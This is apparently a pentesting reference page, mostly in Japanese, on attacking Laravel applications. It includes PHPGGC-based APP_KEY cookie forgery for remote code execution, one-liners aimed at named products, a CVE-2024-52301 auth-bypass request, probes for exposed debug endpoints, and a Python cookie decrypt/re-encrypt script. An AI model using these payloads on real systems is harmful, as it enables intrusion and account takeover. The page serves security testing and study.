Laravel

Reading time: 13 minutes

Laravel SQLInjection

この件の詳細は次を参照してください: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & 暗号化の内部処理 (Laravel \u003e=5.6)

Laravel は内部で AES-256-CBC（または GCM）と HMAC 整合性を使用します（Illuminate\\Encryption\\Encrypter）。 最終的にクライアントに送られる生の暗号文は、JSONオブジェクトのBase64のようなものです:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) はデフォルトでプレーンテキストを serialize() します。一方、decrypt($payload, $unserialize=true) は復号した値を 自動的に unserialize() します。 したがって、32バイトの秘密 APP_KEY を知る攻撃者は暗号化された PHP シリアライズドオブジェクトを作成し、マジックメソッド（__wakeup、__destruct、…）経由でRCEを獲得できます。

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

生成された文字列を、任意の脆弱な decrypt() sink（route param、cookie、session、…）に注入します。

laravel-crypto-killer 🧨

laravel-crypto-killer は処理全体を自動化し、便利な bruteforce モードを追加します:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

このスクリプトはCBCおよびGCMの両方のペイロードに透過的に対応し、HMAC/tagフィールドを再生成します。

実際の脆弱なパターン

The exploitation workflow is always:

1. 32バイトの APP_KEY を入手するか、ブルートフォースで取得する。
2. PHPGGC で gadget chain を構築する（例: Laravel/RCE13, Laravel/RCE9, Laravel/RCE15）。
3. シリアライズした gadget を laravel_crypto_killer.py と取得した APP_KEY で暗号化する。
4. 暗号文を脆弱な decrypt() sink（ルートパラメータ、cookie、session …）に渡して RCE を引き起こす。

以下は、上記の各実際のCVEに対するフル攻撃パスを示す簡潔なワンライナーです：

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

cookie brute-forceによる大量のAPP_KEY発見

Because every fresh Laravel response sets at least 1 encrypted cookie (XSRF-TOKEN and usually laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts that can be attacked offline.

Key findings of the research published by Synacktiv (2024-2025):

• Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
• Dataset May 2025 » 625 k tokens, 3.56 % keys cracked

• 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

• Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.

CVE-2024-52301 – HTTP argv/env override → auth bypass

多くのディストリビューションで一般的な register_argc_argv=On の場合、PHPはクエリ文字列から派生したHTTPリクエスト用の argv 配列を公開します。最近のLaravelのバージョンはこれらの “CLI-like” 引数を解析し、ランタイムで --env=<value> を尊重しました。これにより、任意のURLに付与するだけで現在のHTTPリクエストのフレームワーク環境を切り替えることができます:

• 簡易確認:

• Visit https://target/?--env=local or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.

• 影響例（特定の env を信用するビジネスロジック）:

• アプリに if (app()->environment('preprod')) { /* bypass auth */ } のような分岐がある場合、ログインPOSTを次のように送ることで有効な認証情報なしに認証できる可能性があります:

• POST /login?--env=preprod

• 注意点:

• リクエスト単位で動作し、永続化はしません。

• register_argc_argv=On と、HTTPでargvを読む脆弱なLaravelバージョンが必要です。

• “debug” 環境でより詳細なエラーを表示させたり、環境で制御されたコードパスをトリガーするための有用なプリミティブです。

• 緩和策:

• PHP-FPM/Apacheで register_argc_argv を無効にする。

• LaravelをアップグレードしてHTTPリクエストでargvを無視するようにし、本番ルートで app()->environment() に依存した信頼前提を排除する。

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Laravelのトリック

デバッグモード

If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

フィンガープリンティングと公開された開発用エンドポイント

運用環境で公開されているLaravelスタックや危険な開発ツールを特定するための簡単なチェック：

• /_ignition/health-check → Ignitionが存在（debug tool used by CVE-2021-3129）。認証なしで到達可能な場合、アプリがデバッグ中または設定ミスの可能性があります。
• /_debugbar → Laravel Debugbarのアセット；しばしばデバッグモードを示します。
• /telescope → Laravel Telescope（dev monitor）。公開されている場合、広範な情報開示と操作の可能性が考えられます。
• /horizon → Queue dashboard；バージョン情報の開示や、時にCSRF-protected actionsが存在することがあります。
• X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.

# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravelは、cookiesやその他の資格情報を暗号化するために使用するAPPを.envというファイルに保存します。このファイルにはパストラバーサルを使って/../.env経由でアクセスできます。

Laravelはこの情報をdebug page（Laravelがエラーを検出し、それが有効になっているときに表示される）にも表示します。

Laravelの秘密のAPP_KEYを使用して、cookiesを復号化および再暗号化できます:

Decrypt Cookie

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

影響を受けるバージョン: 5.5.40 および 5.6.x ～ 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

deserialization 脆弱性に関する情報はこちら: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

テストおよびエクスプロイトは以下を使用して行えます: https://github.com/kozmic/laravel-poc-CVE-2018-15133
または metasploit を使ってエクスプロイトすることもできます: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

別の deserialization: https://github.com/ambionics/laravel-exploits

参考資料

• Laravel: APP_KEY leakage analysis (EN)
• Laravel : analyse de fuite d’APP_KEY (FR)
• laravel-crypto-killer
• PHPGGC – PHP Generic Gadget Chains
• CVE-2018-15133 write-up (WithSecure)
• CVE-2024-52301 advisory – Laravel argv env detection
• CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override
• 0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)